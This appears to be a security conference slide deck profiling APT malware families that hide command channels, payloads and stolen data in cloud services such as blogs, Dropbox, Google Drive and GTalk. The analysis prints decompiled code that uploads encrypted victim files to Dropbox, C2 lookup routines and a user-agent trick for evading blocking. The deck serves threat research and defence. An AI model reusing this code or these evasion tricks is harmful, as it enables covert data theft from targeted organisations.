Let’s Play Hide and Seek
In the Cloud
The APT Malwares Favored in Cloud Service

Ashley X Belinda
Outline

- Speakers
- APT vs Cloud Service
- Hide and Seek in SaaS
  - Redirect
  - Storage
  - Control Channel
- What APT malware love about cloud service?
- What can we do?
Speakers

Ashley

Belinda

Let's Play Hide and Seek in the Cloud
Ashley Shen
• Threat Analyst in Team T5
• APT research, Malware analysis
• Malicious Document Detection
• Member of HITCON GIRLS
• ashley@teamt5.org
Belinda Lai
- Security Engineer in III
- Malware Analysis
- Assist organizations handle information security incidents
- Member of HITCON GIRLS
- belindalai@iii.org.tw
APT vs Cloud Service
Google Trend of Cloud Service
Cloud Service Models

- Infrastructure as a Service
- Platform as a Service
- Software as a Service
Google Trend of APT Attack
Once upon the time...
Recently...

Sony Pictures

Garena Hacked
How do cloud service take part in APT attack?

What can malware do with cloud service?
Let's Play Hide and Seek in the Cloud

APT Leverage Cloud Service Models

- Web server as C&C server
- VPS as C&C server
- Code
- VM
- SaaS
- PaaS
- IaaS
APT Leverage Cloud Service Models

Cloud Service as 
**Invisibility cloak**

Web server as 
C&C server

VPS as 
C&C server
Hide and Seek in SaaS
Redirect
Victim

Second Stage C&C

Command

Cloud Service

Encode C&C address String

Decode String to get IP address
The Malwares
• Name: Elirks
• Targeted Country: Taiwan, Japan, HK
• Targeted Sector: GOV, ThinkTank
• First Seen: 2010
• Infrastructure: Yahoo, Plurk, Google (blogger), Dropbox, Twitter
• Campaign: Elirks group
We found that the earliest Elirks post was posted in 2010.
In 2012~2014, Plurk had been used in several incidents.

Encode C2 information with modified TEA and Base64.
• In 2014, Elriks start to Hide c2 information in Html tag

Pattern :
In 2015, our latest observation shows that Elirks using Japanese Blog to targeting JP victim. Encrypt with DES.
- Name: WMIgh0st
- Targeted Country: Tibet
- Targeted Sector: Various
- First Seen: 2009
- Infrastructure: blog.com, Yahoo, Wordpress, SOSblogs, livejournal
• Used Windows Management Instrumentation (WMI, implement Web-Based Enterprise Management) as a venue to conveniently perform malicious activities.
18
星期一
八月 2014

@xbopm8.//xyz2p{ti{tztv=v&|AY][WF/+|2$L1*3@

POSTED BY DRKUMARSINGH1976 IN 未分類

@xbopm8./xyz2p{ti{tztv=v&|AY][WF/+ |2$L1*3@
• Download html file and decode blog title

Name: Midhos
Targeted: Taiwan, Tibet
Targeted Sector: GOV, corporation
First Seen: 2012
Infrastructure: Yahoo, Baidu, Pixnet, Xuite
Behavior: First Stage C&C
• 2013, Midhos Leverage baidu blog as first stage C2
• Name: IXESHE
• Targeted Country: Taiwan, Japan
• Targeted Sector: GOV, Enterprise, NGO
• First Seen: 2009 (2013 start to connect blog)
• Infrastructure: Yahoo blog, Dropbox, WordPress
• Campaign: IXESHE
******Encoded String******

RSA and RC4 encryption

**********_yaLnNoYiQhkYZQBxEQwA_**********
• Name: Taleret
• Targeted Country: Taiwan、UN
• Targeted Sector: GOV、Enterprise、ORG
• First Seen: 2010 (2011 start to connect blog)
• Infrastructure: Yahoo, Yam, Pixnet
• Campaign: Possibly Taidoor
ARTEMIS (base64 string, encoded by RC4, contains C2 IP Port 0x4C)

ARTEMIS
- Name: Plug X
- Targeted Country: Taiwan; Japan; Korean
- Targeted Sector:
- First Seen: 2012
- Infrastructure: Baidu, Dropbox, Twitter, MSDN, Linkedin
pattern:
DZKSJDADBDCDHDOCADOCADOCBDZJS
More Tricks - 1

• Using DNS lookup cloud service to obtain second stage C&C address.
• Bypass DNS blocking.
Second Stage C&C

Cloud DNS Lookup Service

The IP address of Domain is xx.xxx.xxx.xxx

DNSWatch

1. Request
2. Command
3. Command
4. Command

Victim
• Name: Protux
• Targeted: TW
• Targeted Sector: GOV
• First Seen: 2009
• Infrastructure: DNS Watch, ip138,
• Campaign: DragonOK
• The trojan request for the search result of DNS Watch to retrieve C&C address.
• DNS Watch is a public DNS lookup tool.

Monitor performance and availability of your DNS Server (e.g. ns2.value-domain.com) - starting at $1/month

Total elapsed query time: **388 ms**

Since these results are *absolutely up-to-date* they may differ from the results of your local nameserver. It can take up to the specified "time to live" (TTL) for your nameserver to update its cache.

DNS queries have been sent from Frankfurt am Main, Germany
• Locate the IP address by identify string.
Try to Query DNS Watch first. If fail then try DNS Server.

```c
unsigned __int32 __cdecl sub_10005790(const char *name)
{
    unsigned __int32 result; // eax@2
    struct hostent *v2; // eax@6

    if ( inet_addr(name) == -1 )
    {
        result = queryDNSWatch((int)name);
        if ( result )
            return result;
        result = queryDNSServer(name);
    }
    else
    {
        result = inet_addr(name);
    }
    if ( !result )
    {
        v2 = gethostbyname(name);
        if ( !v2 || (result = *((DWORD *)v2 + 1)) == 0)
            result = 0;
    }
    return result;
}
```

Hinet DNS Server
Seednet DNS Server

```c
int __cdecl sub_10005720(int a1)
{
    int v1; // ebx@1
    HLOCAL v2; // esi@1
    int v4; // [sp+0h] [bp-4h]@1

    v1 = 0;
    v4 = 0;
    v2 = LocalAlloc(0x400u, 0x100u);
    *((DWORD *)v2 + 2) = inet_addr("168.95.1.1");
    *((DWORD *)v2 + 2) = inet_addr("139.175.55.241");
    if ( !DnsQuery_A(a1, 1, 8, v2, sizeof(a4), 0) == 0 )
        v1 = *((DWORD *)(v4 + 24));
    DnsRecordListFree(v4, 1);
    LocalFree(v2);
    return v1;
}
```
• DNS Watch tried to block by detecting user agent. (However...)

GET /dns/dnslookup?la=en&host=picture.ucparlnet.com&type=A&submit=Resolve HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0.1; WININET 6.0)
Host: www.dnswatch.info
Cache-Control: no-cache

X

GET /dns/dnslookup?la=en&host=picture.ucparlnet.com&type=A&submit=Resolve HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0.1)
Host: www.dnswatch.info
Cache-Control: no-cache

O
Storage
The Malwares
- **Name**: DropNetClient
- **Targeted Country**: Taiwan
- **Targeted Sector**: GOV
- **First Seen**: 2015
- **Infrastructure**: Dropbox
- **Behavior**: Fetch command from Dropbox and upload victim data to Dropbox.
- **Campaign**: Taidoor
### Low Detection Rate

<table>
<thead>
<tr>
<th>Engine</th>
<th>Signature</th>
<th>Version</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td></td>
<td>12.0.163.0</td>
<td>20150421</td>
</tr>
<tr>
<td>AegisLab</td>
<td></td>
<td>1.5</td>
<td>20150421</td>
</tr>
<tr>
<td>Agnitum</td>
<td></td>
<td>5.5.1.3</td>
<td>20150420</td>
</tr>
<tr>
<td>AhnLab V3</td>
<td></td>
<td>20150421</td>
<td></td>
</tr>
<tr>
<td>Alibaba</td>
<td></td>
<td>1.0</td>
<td>20150421</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Engine</th>
<th>Signature</th>
<th>Version</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td>Trojan.Agent.BJLG</td>
<td>12.0.163.0</td>
<td>20150511</td>
</tr>
<tr>
<td>AegisLab</td>
<td></td>
<td>1.5</td>
<td>20150511</td>
</tr>
<tr>
<td>Agnitum</td>
<td></td>
<td>5.5.1.3</td>
<td>20150511</td>
</tr>
<tr>
<td>AhnLab V3</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Alibaba</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
• Connect to Dropbox with DropNet Lib
• Use two RC4 Keys.
  • Key 1: A pubKey use to decrypt the file "10101" download from dropbox".

```csharp
namespace DbxClient
{
    internal class HostControl
    {
        private static string pubKeyStr = "21u89fhjsbhc7834bauyg7q893dtyu";
    
    while (true)
    {
        array = null;
        try
        {
            byte[] file = client.GetFiles(rootPath + "10101");
            array = RC.RC4(file, file.Length, HostControl.pubKey, HostControl.pubKeyLen);
        }
        catch|
        {
        }
        if (array != null)
        {
            goto IL_85;
        }
        Random random = new Random();
        num += (Math.Abs(random.Next()) % 30 + 60) * 1000;
        num2 += num;
        if (num2 / 1000 > 1800)
        {
            break;
        }
        Thread.Sleep(num);
    }
}
• Use two RC4 Keys.
• Key 2: The decrypted key, use to encrypt the victim files and upload to dropbox.

```csharp
public static bool UploadFile(DropNetClient client, string localFile, string getPath) {
    bool result;
    try {
        if (client == null || localFile == null || getPath == null)
            result = false;
    } catch {
        result = false;
    }
    else if (!File.Exists(localFile))
        result = false;
    else
    {
        FileStream fileStream = new FileStream(localFile, FileMode.Open);
        string fileName = Path.GetFileName(fileStream.Name);
        byte[] array = new byte[fileStream.Length];
        int num = fileStream.Read(array, 0, array.Length);
        fileStream.Close();
        if (num < array.Length)
            result = false;
        else
        {
            byte[] array2 = RC.RC4(array, array.Length, HostControl.key, HostControl.keyLen);
            client.UploadFile(getPath, fileName, array2, true, null);
        }
    }
    return result;
```
• We can find accessToken, appKey and appSecret in the malware
With Dropbox python SDK, we were able to access to the folders and the files, and get the account information.

Install Core API SDKs

To make things as easy as possible, we have several platform SDKs you can import into your development environment to get up and running quickly. The SDKs contain platform-specific libraries that wrap the raw HTTP calls to the Dropbox API. They are designed to shorten the distance between your application and integrating Dropbox.

Python SDK

Download Python SDK  Version 2.2.0, updated September 17, 2014

Download and unpack the Python SDK. To install the dropbox module and any dependencies, run the setup script (you may need sudo).
• The actor register a Gmail account for the specific victim
<table>
<thead>
<tr>
<th>Name: GDrive RAT (aka TSPY_DRIGO.A)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Targeted Country: Taiwan</td>
</tr>
<tr>
<td>Targeted Sector: GOV</td>
</tr>
<tr>
<td>First Seen: 2012</td>
</tr>
<tr>
<td>Infrastructure:</td>
</tr>
<tr>
<td>Behavior:</td>
</tr>
<tr>
<td>Second stage backdoor. Upload victim data to specific google drive</td>
</tr>
<tr>
<td>Campaign:</td>
</tr>
<tr>
<td>Possibly PLEAD</td>
</tr>
</tbody>
</table>

**GDrive RAT**
Develop with Go programming language.
- Low detection rate.
- **Search for**
  - XLSX
  - XLS
  - DOC
  - DOCX
  - PDF
  - TXT
  - PPT
  - PPTX
Using OAuth 2.0 protocol to log in to specific Google Drive.
• We can find the access token, client ID, Refresh Token and email address in the process memory.
• Name: illitat (fc.asp Downloader)
• Targeted Country: TW
• Targeted Sector: GOV
• First Seen: 2010 (2013 start to use blog)
• Infrastructure: Yahoo, Yam, Pixnet
• Behavior: Connect to blog to download trojan DLL (Taidoor)
• Campaign: Taidoor
• download jpg or yahoo blog article, find pattern yxyyyxyy
• extract 2nd Gen Taidoor DLL
• illitat encode C2 pattern:
  (random char) yxyyyxyy (base64+RC4) decoded to be Taidoor-RAT DLL version yxyyyxyy (random char)
```c
104: (void (__stdcall ***)(int, _UNKNOWN *, int))
105:  v11 = v88;
106: }
107: a2 = 0;
108: strcpy(SubStr, "yyyyyyxyxyy");
109: v67 = 0;
110: v12 = *(DWORD *)v11;
111: LOBYTE(v65) = 3;
112: (**(void (__stdcall **)(int, LPCWSTR *))(*(DWORD *))v12 + 36));
```
**Base 64**

**Key Length**

**Key**

---

**Key xor 02 → Key for RC4 → RC4 Decrypt trojan DLL**
Control Channel
The Malwares
• Name: Stalk / glooxmail
• Targeted Country:
• Targeted Sector:
• First Seen: 2011
• Infrastructure: G Talk
• Campaign: APT1
1. TLS encryption
2. Encoded Command

Victim
## TROJAN.GTALK functionality

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create/kill/list processes</td>
<td>Send a process listing, kill a process by name or PID.</td>
</tr>
<tr>
<td>File upload/download</td>
<td></td>
</tr>
<tr>
<td>Gather system information</td>
<td>Information includes hostname, IP address, OS version, and the static string “0.0.1” which may be a malware version string.</td>
</tr>
<tr>
<td>Interactive shell session</td>
<td>Start a cmd.exe child process. Arbitrary commands can be sent from a remote host to the malware to execute</td>
</tr>
<tr>
<td>Set sleep interval</td>
<td></td>
</tr>
</tbody>
</table>
Name: Kimsuky
Targeted Country: KR
Targeted Sector: GOV; Military Industry; ThinkTank
First Seen: 2013
Infrastructure:
Public email service, TeamViewer
Behavior: communicated with its “master” via a public e-mail server and TeamViewer
<table>
<thead>
<tr>
<th>modules</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Keystroke logging</td>
<td>Gather information and Spy victim</td>
</tr>
<tr>
<td>Directory listing collection</td>
<td>Hancom Office</td>
</tr>
<tr>
<td>HWP document theft</td>
<td>Download extra program from in-coming mail</td>
</tr>
<tr>
<td>Remote control download and execution</td>
<td>Use modified TeamViewer client</td>
</tr>
</tbody>
</table>
Interesting

• The public e-mail server: Bulgarian – mail.bg
• Compilation path string: Korean hieroglyphs
  • D:\rsh\공격\UAC_dll(완성)\Release\test.pdb
  • D:\rsh\ATTACK\UAC_dll(COMPLETION)\Release\test.pdb
• Modified TeamViewer
Attacker Thread - IP
Attacker Thread – Mail Account

• Mail accounts:
  • iop110112@hotmail.com
  • rsh1213@hotmail.com

• DropBox Account:
  • Names: kimsukyang and “Kim asdfa”
Who are the Target or Targets ....?
What APT malware love about cloud service?
• Easy to change; like DDNS
• Bypass passive DNS
• Bypass IDS
• Bypass AV
• Difficult to trace
• Cost down
• Easy to build/maintenance
What can we do?
What can we do?

• Black List
What can we do?

• CTI (Cyber Threat Intelligence)

  • “Cyber threat intelligence is knowledge about adversaries and their motivations, intentions, and methods that is collected, analyzed, and disseminated in ways that help security and business staff at all levels protect the critical assets of the enterprise.”

Jon Friedman et al, 2015, Definitive Guide to Cyber Threat Intelligence
Let’s Play Hide and Seek in the Cloud

- Private Detective
- Investigation
- Long-term tracking
- Campaign Tactics
- Techniques and procedure

- Doctor
- Prescription
- high-level strategy

- Emergency
- Response Team
- Emergency
- Response
- Handling Crisis
- malware weapon

- 24x7 monitor
- report
- indicator match

review
prevent
respond
detect
在資安的世界裡，資訊的更新比人類呼吸的頻率更高，我們就像是懵懂不識世事的初學者，在這個世界裡跌跌撞撞，因此稱呼所有資安學員為「女孩」，這個詞彙本身代表內心對於探險的渴望，意味著我們渴求知識的途中像孩童一般純潔、充滿好奇，學習的心仍然在成長，也期許自己終會有獨立的一日。探索資安對我們來說是叢林探險，每個步伐都隱藏著不知名的狀況，所以要懂得避開陷阱、危險，HITCON GIRLS 就像是個探險隊，集結夥伴並以積極的態度、互相照顧的模式，正努力探索著資訊安全這個世界！

http://girls.hitcon.org/